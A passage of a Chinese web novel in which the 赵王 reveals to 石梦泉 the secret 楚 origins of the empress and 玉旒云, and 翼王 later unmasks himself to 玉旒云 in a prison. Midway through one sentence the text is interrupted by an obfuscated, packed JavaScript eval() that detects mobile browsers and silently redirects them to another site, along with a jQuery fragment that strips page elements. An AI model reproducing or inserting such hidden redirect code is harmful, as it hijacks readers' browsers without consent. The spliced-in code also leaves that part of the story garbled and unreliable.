玉朝雾?石梦泉只道能嫁给王族为妃的自然出身不凡,虽然后宫之中从来没听人人提过,他本以为大概是皇太后的某位远房亲戚。但是去年秋天和玉旒云楚国一行,藏身在芙蓉庙古墓之中,他亲耳听到玉旒云告诉自己,她原来是楚人,那么毫无疑问,玉朝雾也是楚人了,两人都是那“于文正公适之”的女儿。赵王突然有此一问,不知他对这件事知道多少?石梦泉警觉了起来,咬了咬嘴唇,道:“皇后娘娘的事,我做臣子的,怎么会去打听?” 赵王道:“玉旒云没有跟你说过吧?呵呵,这样的事,她怎么会跟你说呢?你真要打听,也没处问。”老奸巨猾露出了难以捉摸的笑容:“不过我想有一件事你应该是知道的——太宗八年的时候,楚国战败,送了一位公主来和亲。但是公主进宫之后不久就没了踪影,而楚国也以此为借口撕毁盟约,与我国重新开战——这些太宗实录上都写着呢,你知道吧?” 石梦泉当然知道。他就是在太宗天元八年的时候和母亲来到西京,也是在那个时候认识了玉旒云。 赵王道:“楚国的借口,确切的说来是认为太宗皇帝害死了这位公主,而我国还击的理由是楚国自己派人刺杀了这位公主——在双方的史书上,我相信这位公主都已经死了。她的封号是朝阳,而她来的时候陪嫁的还有一个妹妹封号是素云。石将军,你现在能猜出这位公主是谁了么?” 赵王把话说到这份上,显然朝阳公主必是玉朝雾,而素云公主不消说就是玉旒云。各国用宗室甚至不相干的女子充做公主外嫁敌国也不是什么稀奇之事。石梦泉只是不明白,就算是樾、楚两国盟约已破,玉朝雾姐妹也没有必要隐瞒身份,皇上、皇太后更不需要对此事绝口不提——宫廷中多年以似乎没人谈及此事,也不可不谓一桩怪事。玉旒云不肯说的事,必然有她的理由。换在过去,石梦泉有再大的好奇心,也会压抑下去。然而赵王的话语让他产生了一丝不安。他不由自主地看着这父子二人,眼神已经把他的动摇表露无遗。 赵王微微笑了笑,吩咐悦敏道:“看来石将军对个中奥秘一无所知,我得好好跟他聊聊,给我们上茶来。” “是。”悦敏恭敬地答应,退开一边。赵王便请石梦泉坐下,慢条斯理道:“对于仁宗初年的真假遗诏之争,你知道多少?” 石梦泉在太宗天元八年进京,天元九年太宗皇帝驾崩,其长子奉大行皇帝遗诏继承大统改元开泰,史称仁宗。虽然仁宗是太宗的长子,且十岁时就已经封为太子,但是太宗尚有一幼子密王是皇后元氏所出,太宗对他宠爱有加,时常说这个儿子同自己最相像。有传闻说,太宗打算废长立嫡,以幼子即位,长子辅政。究竟有没有这回事,拥护仁宗的持遗诏为凭,而拥护密王的坚持说太宗已经打算修改遗诏,只是来不及,并有元皇后作证。朝中的亲贵大臣审时度势。分成两派,展开了一场激烈的党争。 对于这一切,石梦泉只有模糊的印象。一是因为当时年幼,二是因为那时封为庆王的庆澜帝在众皇子中最甘于平淡,任亲贵大臣们日日奔走,连横合纵,他除了每日向母亲全太妃晨昏定省以及必要的朝会之外,基本不进皇宫。别人养了一门的谋臣死士,他却养了一群乐师画匠——不是陪玉朝雾下棋弹琴就是找高僧到府中来讲道,又延请名师来给玉旒云授业,仿佛只要他的庆王府里人人欢喜,他就再没什么别的好忧虑了。在剑拔弩张的西京,庆王府就像是与世隔绝的桃花源,关起大门来就是自己的世界。 “真假遗诏和当今皇后娘娘有什么关系?”他故作镇定地反问赵王。 “没有什么直接的关系。”赵王淡淡的,“那场党争的细节你们这些年轻人自然不会清楚。亲贵大臣们除了自己亲自上阵之外,他们家中的女眷也都忙得不亦乐乎。密王的母亲是正宫皇后,密王的未婚妻是开国元勋乐安侯的孙女儿;支持密王的有淑贵妃的儿子齐王,他母舅是九门提督,岳父是户部尚书;妄图自立门户的秦王,母亲静贵妃是铴国公主,自己又娶了个铴国郡主;后来拥兵叛乱的东河公,虽然母亲宣嫔出身寒微,但岳父却是当地首富;仁宗自己更是如此,他个性懦弱怕事,能坐稳王位全靠女人支持——他母亲庄懿孝显皇后早亡,但外公总督南方七郡,把握全国一半以上的粮食;仁宗先后立过三位皇后也都是名门望族——开泰初年五名所谓太宗的‘托孤之臣’其中有三位都和仁宗的皇后有关。这些有钱有势的女人,大概在太宗驾崩之前就已经开始处心积虑为儿子为丈夫经营,希望可以爬上龙椅,掌握天下。” 石梦泉皱着眉头:玉朝雾虽然是楚国公主的身份,但是来到樾国和亲,可以算是被祖国抛弃,既没钱也没势,和这些显赫的贵族女子刚刚相反——赵王究竟想说什么? 赵王微微一笑,道:“今上,也就是当时的庆王爷正好是两样,他的母妃全贵妃出身商家,以前在关外是马贩子,因为太祖皇帝起兵时曾向她家借过马,后来才算成了有功之臣,在朝中并没有什么实权。庆王的王妃就选得更加妙了——楚国送来的所谓公主,举目无亲、一文不名,然而美貌贤淑楚楚可人,就好像一把写了情诗的扇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728652|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,轻轻一竖,额头上哪怕刻着野心,也都挡住了。如此母亲,如此妻子,在天下大乱的仁宗初年不就是保命符么?” 石梦泉感觉赵王的推断实在强词夺理有些可笑:“王爷如此说皇太后,难道忘记了王妃是太后娘娘的妹妹么?” “怎么会忘记?”赵王道,“太宗皇帝是如何对我的,你们也听说了。在他的眼里,‘造反’两个字就刻在我的脸上,如果我也娶一个父、兄都掌握大权的妻子,恐怕太宗皇帝早就把我杀了。在大乱之时,锋芒毕露只会自寻死路。” 可真是机关算尽,石梦泉想,赵王这样一个小人,怎见得世上之人都和他一样? 正巧这时悦敏上茶来了,也不知有没有听到赵王评价王妃的那些言语,只是将茶碗分别递给石梦泉和父亲。赵王呷了一口,继续道:“在你眼里当今皇上也就是当年的庆王是一个与世无争之人。不错,在太宗年间,甚至在仁宗年间,他都根本不具备与别人一争的实力。越是在这种时候,越是应该装傻充愣,这样,就可以等着对手一个一个互相消灭,自己便不争而胜了。他就是靠着这个战略一步一步登上了皇帝的宝座。如今,他就等着本王和玉旒云斗个你死我活——无论我们谁胜谁负,失败的一方会死,胜利的一方也将受到重创,他就可以轻轻松松地把我们都除掉了。” 石梦泉觉得这些话越来越荒谬:“皇上和皇后娘娘相敬如宾恩爱和美,玉大人对皇上忠心耿耿,皇上为什么要她除掉?王爷以小人之心度君子之腹,说话简直全无道理。” “相敬如宾恩爱和美?”赵王冷笑,“如果是农夫和他的婆娘,这也许可信,不过皇室之中‘相敬如宾恩爱和美’值几个钱?庆王和朝阳公主成婚,这其中的曲折可大着呢——”他将茶碗放开一边,手指轻轻在膝盖上敲着,道:“当年朝阳公主来到我国,本是要配给太子仁宗为妃。庆王陪着兄长一齐到城外来迎接。不想从朝阳公主的送嫁队伍里突然跳出一名刺客来,挺剑直向仁宗刺了过去。仁宗吓得魂不附体,是庆王舍命推开了兄长,这才保住他的性命。侍卫高手一拥而上,将这刺客抓获,但是没问出个所以然,他已经自尽了。当时推断,楚国送公主和亲是假,企图谋刺太宗父子是真。于是,朝阳公主一行立刻被软禁,只待查出真凭实据就要处死。” 竟有这种事?石梦泉的确没听说过。 赵王接着道:“不过我们料错了一点。原来楚人使的是连环毒计。刺杀太子不成,他们就企图杀掉朝阳公主,并将罪责推于我国,借口撕毁和约。也算是朝阳公主命大,这次又被庆王‘英雄救美’。但与其说庆王是救美,倒不如说是要救自己。其时各皇子觊觎王位,一方面想害太子仁宗,一方面又想把其他人也都铲除。太宗身体不好,管束不了儿子们,兄弟相残已经到了白热化的地步。庆王每天风花雪月地为自己做掩护,朝阳公主很快就成了他的新幌子。他让母亲全贵妃上奏太宗,说楚人诡计多端,但朝阳是无辜被利用,他对朝阳一见钟情,希望太宗可以把朝阳许配给他,云云。朝阳公主既是涉嫌参与谋刺太子的犯人,又是楚国刺客不断试图刺杀的对象,差不多是一个等死的人。庆王竟有如此提议,听到的人都惊讶万分。太宗教训儿子,不可以为了美人而不顾江山、不要性命。庆王答说,江山现在是父王的,将来是兄长的,他从来也没想要;而性命是他自己的,他爱朝阳公主更甚于自己,就算为此丢了性命,他也在所不惜。太宗虽然大骂他没出息,但是心里却喜爱他更甚于那些成日就打算谋太子之位的皇儿。全贵妃和太宗商议,为了成全儿子的‘痴情’,对外宣称朝阳已经遭了楚人的毒手,背地里将朝阳改名换性,冒充为珍太妃的远房亲戚重新由太宗指婚给庆王。由于宫廷之中并没有什么人见过朝阳,这个计划未遇到阻滞,世上从此凭空消失了两个人,又凭空多出了两个人。” 原来是这样,石梦泉想,楚人刺杀自己的公主,这事他是有所耳闻的。难怪玉旒云会如此憎恨楚国。不过,有一点十分奇怪:他当年见到玉旒云的时候,显然姐妹二人已经改换了身份,但后来有一日见她拿着一柄剑在花园里疯狂地劈砍,且发誓要灭亡楚国,不知这期间她又受到了什么打击? 赵王把故事接着说下去,就解开了他的疑问:“成事的关键在于瞒天过海,因此知道内情的人要尽可能地杀掉灭口。况且太宗是一个心狠手辣的人,楚人敢跟他玩诡计,他就要加倍奉还。他密令大内高手将朝阳的送嫁随从、官员统统杀掉,并且将一切都推到楚人身上。最后一个杀的是素云的保姆。因为下手的时机不巧,正好被素云撞见。素云向来和保姆亲昵,就扑上去自不量力要和杀手搏斗。若不是朝阳和庆王正巧撞了进来,素云早就殒命当场。庆王为了心上人不顾一切,在有限的几个知情人中传为美谈,尤其太宗和仁宗对这个重情重义的皇子分外欣赏,其他几位皇子大约也有眼线打探到了此事,从此既不把庆王当成对手,也不把他当拉拢的对象。他才在开泰初年的混乱之中保全了实力。玉旒云根本就不知道,她姐姐是庆王和全贵妃用来演戏的木偶,而她自己其实连木偶都不如,充其量不过是一件道具。可怜她还一心以为是楚人想置她们姐妹于死地,所以读书习武发誓要灭亡楚国。总算她颇有武运,小小年纪就已经在军中崭露头角。仁宗驾崩,庆王顺利地登上王位,玉旒云既为了给自己‘报仇’,又为了报答‘救命恩人’,开始替当今皇上东征西讨——现在,皇帝又要利用她来对付本王,她这件道具经历磨练,成了皇上的一件兵器。皇上用这兵器铲除异己,平定天下,然后会如何?” 石梦泉还在震惊与怀疑中挣扎,根本没有注意到赵王的问题。而赵王也没打算要他回答,径自说下去:“其实去年和玉旒云在此会面时我已经提醒过她,她的真实身份一旦被公诸于世,她恐怕很难在樾军中立足。现在皇上用得着她,自然不会说半个字。然而有一天皇上再用不着她了,或者觉得她‘功高震主’了,自然就会把她扳倒。” “王爷把这经过打听得如此详细,我看是王爷想要用这些来威胁玉大人帮你谋反才是。”石梦泉道,“反而皇上那边,只要玉大人一直对他忠心不二,他何必要公布皇后娘娘的身世?” “不错。”赵王笑道,“如果玉旒云不识时务坚持不肯跟本王合作,本王会公开她的身份,让她再也无从立身朝堂。至于皇上——以前你们被他那装傻充愣的行为所迷惑,认定他不会忌讳玉旒云的战功,如今我已经把他的真面目告诉了你,你还坚持那样认为么?如果本王倒了台,皇上第一个对付的就是玉旒云。” 说来说去都是赵王的臆测,没有任何的真凭实据。石梦泉虽然有些烦乱,但还是保持着旧念:“王爷不必再说了。皇上的为人如何,大家有目共睹。你的片面之词实在荒唐可笑。有时间来编出这些言论,又作些非分之想,还不如安享天年。” “石梦泉!”悦敏怒道,“父王是看你跟玉旒云的确是人才,想拉你们一把,才把这些告诉你们。你不要不识好歹。” “我们就是知道好歹才不做这大逆不道的事。”石梦泉道,“就算是玉大人受了你们的要挟帮你们谋朝篡位,他日你们忌讳起她来,还不是一样会再把她的身世公开?与其相信你们这不忠不义之人,还不如相信皇上。” “你……”悦敏起初让家中的高手出来,就是为了要震慑石梦泉,让他乖乖听话。不想,他竟敢当面斥责,不由既惊且怒。 赵王拈须呵呵而笑:“只要玉旒云不让我忌讳不就行了?她再怎么用兵如神,毕竟还是个女人。女人嫁了人生了孩子,外头再发生天大的事情,她也不会管了。石将军,你们助我得王位,我就助玉旒云灭亡楚国,然后我把她许配给你,如何?” 石梦泉一怔,不意他竟突然说出这种话,没的一连退开了好几步:“王爷胡说些什么?” “胡说?”赵王笑道,“我那个傻女儿的确是看上了你。不过你心里是怎么想的,我又怎么会看不出?年轻人,我吃盐比你吃饭还多,看事情自然也看得比你准。虽说我们皇亲国戚官宦世家,儿女联姻首要是利益,感情根本不在考虑之列,但是强把小愉嫁给你并不能绑住你的人,倒不如真正让你称心如意,你才会领本王的情,真心替本王做事。” “王爷这话说得太过分了。”石梦泉正色道,“无端毁人名声。下官对玉大人从来就没有非分之想。” 赵王摆了摆手:“不用否认了。本王的眼线决不止泰和商号的那些人。你们南下西瑶又东征郑国的一举一动我都了如指掌——啊,说到这个,你们在富安夺了范柏的兵权之后曾经请求皇上给一封发兵的圣旨,正式任命玉旒云为主帅,然而等来等去,就是不见圣旨来到,是也不是?” 传信兵被你杀了,自然无法递送圣旨,石梦泉暗想。 赵王道:“我腊月初十回到京中,手下就向我汇报了这个消息。他们知道我不想玉旒云在归顺我之前就重掌兵权,然而拦截圣旨毕竟太过张扬,在没请示我同意之前,他们未敢擅自行事。此时我再要决断,想那传信兵也已经去得远了,如何还追得上呢?我正为这事烦恼,皇上就请我进宫品尝冰葡萄酒。这样的大冷天,哪有喝冰葡萄酒的道理?我知道他必有所谋。果然,在冰窖中发现了一具尸体。我的手下认出那人来,正是你们所派的传信兵。” 他的意思是,传信兵并非他所杀?石梦泉皱了皱眉头:庆澜帝说,赵王是腊月初一回京,而赵王却说是腊月初十;庆澜帝说是赵王提出要喝冰葡萄酒,故意让人发现尸体以此“示威”,而赵王却说是庆澜帝请自己去喝冰葡萄酒,因此才发现了尸体——究竟谁在说谎? “他既要借玉旒云之手除掉我,又不想双方的实力太悬殊,这场争斗太轻易就结束。”赵王道,“他要的就是两败俱伤,然后他就可以轻松收拾残局了。” “你胡说。”石梦泉微微颤抖。 “年轻人,”赵王道,“玉旒云被仇恨蒙蔽,所以只看到事情的假象。你比她理智,应该注重真凭实据。我告诉你的这一切都是真的——我承诺你的也决不食言。” 石梦泉只觉得一时间有太多的声音同时在他的脑中争吵,他不知道该听哪一个,该信哪一个。连带的,他的精神也恍惚了起来,甚至不记得自己是怎么离了赵王的密室,怎么摆脱了愉郡主的纠缠,又是怎么离开了赵王府的。 他一个人在西京繁华的街道上走着,玉旒云的身世,那些血淋淋的刺杀,一幕一幕地出现在他的眼前。不论赵王的话是真是假,他总算依稀了解了玉旒云憎恨楚国的原因。而玉旒云的将来,也无论赵王的话是真是假,都笼罩在她身世的阴云之中。他想倾尽一切,流干最后一滴血,咽下最后一口气,也要保护她,然而要怎样呢? 他想,如果要阻止赵王将玉旒云的身世公开,只有尽快将他扳倒;可万一庆澜帝真的深藏不露,只等着“飞鸟尽,良弓藏”,那该……使劲甩了甩头:效忠庆澜帝有十几年了,难道所见都是伪装?不可能!今日种种,必然都是赵王的攻心术! 这样一想,他的思绪又清朗起来:赵王还没有做好造反的准备,所以迟迟不能起事,他忌惮玉旒云权势日增,所以要造些谣言来扰乱人心。那么,不如逼迫赵王提早动手,趁他们不成熟,迅速将其扑灭? 这倒是可行之计!他想,可以使人将那“肖家娘子树下走”的歌谣传出去,谣言一起,赵王恐怕就要狗急跳墙了。 有了头绪,他想要立刻跟玉旒云商量,因而加快了步子。但这时也发现自己竟然将坐骑忘在了赵王府,再抬头看看,不知何时已经走到了兵部衙门跟前。心里猛地起了另一个念头:真相,也许这里就会有答案! 因而走了进去,仿佛不经意地向书记官要去年兵队调动的纪录。翻到十一月时,他的手已经有些颤抖,再翻到十二月,他已经全身都绷紧了,不过眼睛一瞟,顿觉轻松——在十二月初一,上面记载赵王率部凯旋回京,而十二月初十却是空白的。 赵王果然是满口胡言!他微微地笑了起来。 书记官不明就里:“将军怎么想起来翻这些?难得有人查呢!” 石梦泉笑笑:“只是突然想起来一件事……没什么,多谢了!”拱了拱手就转身出门。却险些和一个太监迎面撞上。 “哎哟,我的天老爷!”太监想是跑得急了,帽子也歪了,看到石梦泉,先是赔罪,又笑道:“在这里见到石将军就好啦,省得奴才还要再多跑一趟您府上。” “什么事?”石梦泉问道。 “自然是大喜事。”太监笑道,“各位兵部的大人们,大喜事呀。万岁爷今晚设宴招待各位,你们有什么公务都先摆一摆,准备进宫吧。” 大家都有些奇怪:“公公,说了半天是什么喜事?万岁爷怎么突然要设宴?” “瞧我!”太监一拍脑袋,“跑急了说话颠三倒四——玉旒云玉大人要和翼王爷订婚。她说兵部的同僚就好像她自己的弟兄一样,这订婚宴也要请你们出席。” “什么!”当场就有好几只砚台和镇纸摔到了地上。听在石梦泉的耳中,如五雷轰顶:“公公,你说玉大人和翼王爷订婚……这……这……”这怎么可能! “天降良缘,真是人人都惊喜万分呢!”太监道,“玉大人和翼王爷自己跟万岁爷说的,立刻下圣旨了——奴才是负责通知石将军和兵部各位大人的,还有旁人去通知城外的军官了。石将军,奴才看您也别在衙门里耽搁了,快快回家洗把脸换身衣服准备进宫吧!” “是……啊……”石梦泉怔怔地说了一句。他是要进宫。他想知道这几个时辰之内究竟发生了什么事。 72. 第 72 章 石梦泉在赵王府听到一篇让人心烦意乱的言论,玉旒云在刑部大牢其实也有一番惊心动魄的经历。 她刚进入大牢的时候一切跟过去没什么两样,翼王兴高采烈地单独审问奸细去了,并且还一再要求审问完了和玉旒云一起回府听戏。玉旒云敷衍了他一番,就来找郭罡。 她将朝会上悦敏的刁难之词大致叙述了一回,郭罡即呵呵笑道:“这个永泽公倒挺有头脑的,不过这问题并不难解决——国以民为本,民以食为天,所以朝廷的任务就是不要让老百姓挨饿。人年轻的时候自食其力,老了之后除了子孙供养之外,朝廷每月给五两的养老银子就足够生活了,无论是普通士兵还的禁军校卫,甚至——如果将此法推行全国,连一品大员也可以每月领五两而衣食无忧。温饱之外乃是享受。朝廷可没有义务让人享受。如果有人每月自己多存些银子起来,让将来的生活更舒适些,那是他自己愿意的,朝廷没有必要干涉。禁军的月例多,可存的就多,普通兵士的月例少,可存的也少。看起来似乎是很不公平,但是禁军的挑选和操练岂不比普通兵士要严格?谁如果勤学苦练,爬到了高处,自然所得的报偿也就多了——就好像乡下的农夫可以种一辈子地,也可以寒窗十年考科举,即使只能做个师爷,日子不也比种地要好过么?所谓吃得苦中苦,方为人上人,这是人间的一条至理呀!” 玉旒云听了拊掌而笑:“不错!如此简单的道理,我竟被悦敏那小子绕了进去。明天就找他算账!” 郭罡笑道:“其实大人聪明机智,就是有时候脾气暴躁些,容易被人激怒。人一生气,哪里还能全面地考虑问题呢?所以今后大人要时时记着,生气解决不了问题,别人越是激你,你就越是要左耳朵进右耳朵出,这样那人不仅白费了力气,还会被大人的还击一次打垮,岂不妙哉?” 玉旒云本不喜欢别人教训自己,但是听郭罡所说的确有理,就点点头,又问:“你上次说有什么改革户部的好办法,索性也告诉我了吧。整天打补丁似的应付别人的刁难,倒不如一次改彻底了,省得麻烦。” 郭罡笑笑:“我当然可以告诉大人,不过改革不是一蹴而就的,而且以大人现在在朝中的势力想要推行更大的改革恐怕困难重重。” 玉旒云被泼了冷水,撇撇嘴道:“事在人为,不试试怎么知道?就算现在我在朝中的势力不足以成事,怎见得他日我玩不转六部堂官?” “呵呵,”郭罡笑道,“大人有此雄心那是最好的了,那我自然要知无不言,言无不尽——大人觉得银号这种生意如何?” 若论行军打仗,玉旒云头头是道,但是做生意的事她哪里晓得,但是如果只说“不知道”又在郭罡面前示弱,因此尽量拣晓得的说道:“就是让别人存银子的地方了。把银子存在银号里,既不会丢,出门时又不用背在身上这么重,到了外地只要找到分好一样可以兑现,很方便。”看郭罡含笑不语,她就又加了一句:“况且存在银号里有利息可赚,等于钱生钱。” “大人说的是对顾客的好处。”郭罡道,“银号打开大门做生意,如果只让顾客方便,对开银号的人有什么利处呢?” “银号向外放贷。”玉旒云道,“他们收取的利息,不就是利处么?” 郭罡道:“可不。但是据我看来,银号这生意还有一个更大的妙处——”不敢卖关子,立刻就揭晓谜底:“假如我今日想做丝绸生意,须得有一笔本钱好采办货物。货物买的越多,就越担心会买不出去,血本无归。但是做银号生意就不一样了,我只要有一间铺面,有几个伙计,别人拿了银子来存,我转手又借贷给别人,生意做得越大,我越是不担心有人会突然来提取一大笔现银,而我却交不出来的。大人看,这不几乎就是无本生意么?” 玉旒云皱了皱眉头:“倒也有道理。不过这跟改革户部有什么关系?” 郭罡道:“天下银号生意好坏最讲求一个‘信’字,如若我存了一百两银子到某家铺子中,隔天这铺子竟然倒闭,那我的银子岂不是扔了水里?所以老百姓挑银号,首先挑信用好的。然后他们就要看谁存款利息高,谁的借贷利息低。银号为了避免相互间竞争,把存利抬得太高,贷利压得太低,所以通常会由各家的财东商议出全行统一的利率来。这利率总是对大银号有利,因为薄利多销,在各种生意中都是如此。” 玉旒云道:“你不是叫我开一间大银号吧?” 郭罡哈哈大笑:“大人说中了。试问普天之下,哪还有比朝廷信誉更好的?要想朝廷的银号倒闭,除非国家灭亡。而论到做生意的规模,谁还能比朝廷做的大?如果由户部出面来成立一间银号,总理全国银钱流通,岂不是替朝廷打开了一条财路?这些银钱用来做军费也好,用来抚恤鳏寡孤独也罢,都是国泰民安的大好计策。” “果然如此!”玉旒云心中已经激动了起来,“不过户部自古就是贪官辈出之地,如果让他们做起生意来,恐怕没开朝廷的财路倒饱了官员们的私囊。” “不错。”郭罡道,“所以银两出纳、账目纪录和帐册审查一定要由不同的衙门来做,以互相监督。而若有人向户部的银号申请借贷的,又要有专门的衙门来审查,以确保他们能到期还账——这些都是要慢慢建立起来的,如今现成的只有户部的仓库而已。呵呵,大人不要着急,等你到了适当的位子上再来办这事吧。现在最重要的是为自己先铺一条道路——大人要记住,在战略上,最漫长的迂回道路,常常又是达到目的的最短途径。” 玉旒云过去只一心想着如何攻成掠地灭亡楚国,除了治军打仗,她对别的事情全不肯花心思,也根本提不起兴趣。这段时间以来郭罡给她出的这些主意才使她发现原来兵法之外还有这许多有意思的策略,虽然看似跟自己的目的毫无关系,但是却又都对自己有利。郭罡的最后一句话简直就是道出了她心中的感受。好像一个发现了新游戏的孩童一般,她恨不得一日之间把所有的窍门都学会,却也要稍稍克制自己的急性子,点点头道:“好,我不急。那我该如何坐上那‘适当的位子’呢?” 郭罡见她约束脾气,微笑道:“大人只要有心,这还不简单——”便指点她摸清朝中大臣的底细,看看谁可交,谁不可交,一边继续进行兵士养老的计划,又一边以此为烟幕,结交盟友认清异己。“等到了一定的时候,”他道,“可以提出将养老和抚恤的计划扩大,让所有官员都得到恩惠。那时大人就可以请吏部出面,让百官填写一份详细的亲属图,名为施恩所用,实际掌握朝中的裙带关系,到时朝中有什么结党营私的事,大人就可以提纲挈领,一目了然。” 玉旒云听了大为受用,虽然郭罡的建议中一再暗示要她收敛脾气避免树敌,但过去别人提及此事时,她根本看不出其中的利害,只如今郭罡说了,她才晓得过去张扬跋扈,使人人敬而远之,实在是弊大于利——倘若她早些和朝中大臣们打成一片,将他们都收为己用,去年大青河战役后,怎么可能这么容易就被削了兵权,而且禁足期间竟没有人出来替她求情?如果朝中大臣都向着她,赵王又怎么会有机可乘? 正是“听君一席话,胜读十年书”。玉旒云看时辰不早,恐怕翼王起疑,终于和郭罡道别。然而这时候,突然听到走廊的阴影里有些响动。她立刻警觉了起来,不便喝问,只摆手让郭罡退到囚室的角落里去,自己看准了灯火映在墙上的人影,一步抢上前去,劈手斩向那人的咽喉:“鬼鬼祟祟的,做什么?” “哎哟,娘啊!”那人吓得双腿一软就赖到了地上,原来是翼王,“玉大人,你……你做什么?” 玉旒云咬了咬嘴唇,收回手来:“我听人不声不响地靠过来,以为有反贼逃脱了想行刺于我。原来是王爷,冒犯了。” 翼王扶着墙站起来,整理衣衫,道:“啊呀,真是吓死我了。我审的那反贼招供了,我去隔壁想告诉你,却不见你的人影,所以四处找找。大人怎么到这边来了?” 玉旒云瞥一眼他的表情,看看不像是说谎,因道:“哦,没什么。我想起刘子飞的谋士,就是那个东征途中给我找了许多麻烦的人也关在这里,所以就来看看。” 翼王向郭罡的囚室探了探身,看因为郭罡已经退开了,所以他并看不见。因道:“是么?竟然给大人找麻烦?不如拉了他出来打一顿,给大人出出气?”说着就要朝囚室那边走。 “不用了。”玉旒云拽住他,“已经判了斩刑,何必多此一举?你说反贼招供了?我们办正事要紧。” “那是,那是!”翼王笑着,“大人的法子真管用,这些反贼招架不住啦,现在说的比唱的还好听呢……”一路恭维,和玉旒云回到了拷问室。 二人踏了进去,玉旒云便见到一个已经不成人形的汉子,头向一边耷拉着,奄奄一息。兵丁见他们来到,就喝令那汉子“别装死”,但是汉子纹丝不动,显然是早就晕死过去了。 “这样我还问什么?”玉旒云皱了皱眉头。 “他刚才招认的时候我都纪录下来了!”翼王迫不及待地从桌上拿过一张纸来,上面写着北义师的一行从京城泰和商号那里得到玉旒云南下的消息,不仅如此,泰和商号中据说还有一本樾国的《百官册》,上面把朝廷六品以上官员的一切把柄都记载得清清楚楚,北义师的人曾经想要偷取《百官册》,但是泰和商号中有许多高手,始终不能如愿,如此如此,这般这般。看来真是彻底崩溃了,连不需要招供的说了出来,以图保住性命。 玉旒云冷笑了一声:泰和商号。这是赵王做的好事!他还弄《百官册》这样的名堂,看来他对朝廷中人是软硬兼施、恩威并济,难怪这么多人都成了他的一党。可惜经过临渊事变,泰和商号已经彻底消失,要不然立即抄查,《百官册》可是的绝佳的意外收获。 正想着,翼王又涎着脸来问:“怎样,大人觉得这些供词够不够抄查余党的?要是不够,小王愿意继续对付这帮不知死活的反贼。” “够了。”玉旒云摆摆手,想了想,又问:“王爷常在街上走动,注意过这泰和商号么?” “这个……”翼王一边吩咐兵丁把囚犯拖走,一边回忆着,“有点印象——啊,就是平桥街霓裳小馆隔壁那间挺大的铺子,从西瑶那边运许多上好的红花胭脂来,霓裳小馆的姑娘们都是那里的常客。不过去年腊月里突然关了,姑娘们都说奇怪呢!原来是跟反贼有关的!” 翼王逛窑子的本领总算还有这点儿用处。玉旒云接着问:“关了之后里面的伙计都不见了?房舍也都空了?” 翼王耸了耸肩膀:“这个……我没进去过,自然就不知道。要不要现在带人去搜查?” “现在还能搜到什么?”玉旒云道。其实是想,如此明目张胆闯去,岂不是逼赵王狗急跳墙——看来他豢养了不少武林高手,还是不要轻举妄动为妙。但是又转念一想:赵王这老小子整天以为能把别人玩弄与股掌之间,如今有楚国奸细亲口招供,这就是真凭实据,我真带了一队兵马去抄人去楼空的泰和商号,就算是给他一个震慑——郭罡说赵王在等着皇上犯致命的错误好乘机起事,然而反过来说不也一样?假如赵王犯了个致命的错误,公诸于天下,难道人们还会拥戴他吗? 这两种想法几乎同时浮上她的心头,然而后者立刻成了主导,她的主意也就定了下来——找潘硕要兵,拉着翼王做挡箭牌,立刻去查抄泰和商号。因道:“虽然可能查不到什么,毕竟还是查一查放心。我们走——”边说边朝门口去。 翼王本来挡在她和房门的中间,这时却并不让开。玉旒云皱了皱眉头,想要绕过翼王,却发现翼王跨开一步,再次挡住了自己。这登徒子得寸进尺,又要玩什么无聊的把戏?玉旒云脸上露出了怒容:“王爷,做什么?” 翼王嘿嘿一笑,却不回答。玉旒云火了,劈手一掌欲将他推开。没想到翼王不闪不避,而玉旒云打到他身上时,却发现好像打着铁板一般。她心下不由一骇,还不及收招,翼王已经一把扣住了她的手腕:“哎呀,大人,手打疼了没有?” 玉旒云只觉得翼王出手极快,而掌握又好似铁箍一般,她已经意识到不妙:没想到他竟然是个深藏不露的角色!倒是我疏忽了!惊讶和后悔只这么一闪,她立刻就把这些无用的情绪赶到一边,镇定下来考量自己现在到底有多危险,方才和郭罡的谈话究竟泄露了多少,而翼王究竟又有什么企图? 看来翼王并不打算和她玩猜谜游戏,微微一笑,道:“大人在刑部大牢里养谋士,这可真是奇招妙计。刘子飞还千方百计要把这个替他解决麻烦的人保出去,根本不知道在背后叫人摆了一刀。到他死到临头的时候,真是哭也哭不出来。” 玉旒云也冷冷一笑:“哼,王爷是想指桑骂槐么?不错,我玉某人一心拿着王爷做幌子来刑部大牢里和谋士相见,却不知道王爷早就把我算计好了。我如今死到临头了,才真是哭也哭不出来。” “冤枉哉!”翼王道,“小王可从来没有要骂大人的意思。小王对大人的倾慕可是从始至终也没有改变过。” “是么?”玉旒云冷眼看着他。 翼王还是往日那油头粉面的模样,可是脸上那纨绔子弟的表情却全然消失,双眼竟然隐隐有些段青锋初见时的冷光,但是比之把野心表露无遗的段青锋,翼王更叫人不寒而栗。玉旒云也不禁颤了颤。翼王笑笑,松开了手:“我想大人是个聪明人,知道想用武力从我手中逃脱是不可能的,相信你不会白费力气。不如我们坐下,慢慢说话。”说时,做了个“请”的动作,玉旒云才也注意到桌上沏好了茶,放了两只杯子——翼王是一早就准备好了的! 她也没有别的选择,只有走一步看一步。 落了座,翼王道:“我说倾慕大人,绝对是肺腑之言。只不过昔日大人看我,只当我这倾慕是一般登徒子好色——其实要说美女,以我堂堂翼王,真要四处搜罗,还能差过皇兄的后宫去?只不过,我其实对美色并没有兴趣。我对大人的倾慕——呵呵,不如说我是想大人做我的盟友。” 玉旒云眯了眯眼睛:“盟友?”心中已经在想:莫非这又是一个想篡位的? 翼王道:“不错。以大人的本事,如果不能‘一人之下万人之上’,实在就太可惜了。只要大人跟我合作,我保证你将来可以大展身手。” 玉旒云“哼”了一声:“要我‘一人之下万人之上’,在我之上那一人,是不是王爷你?” 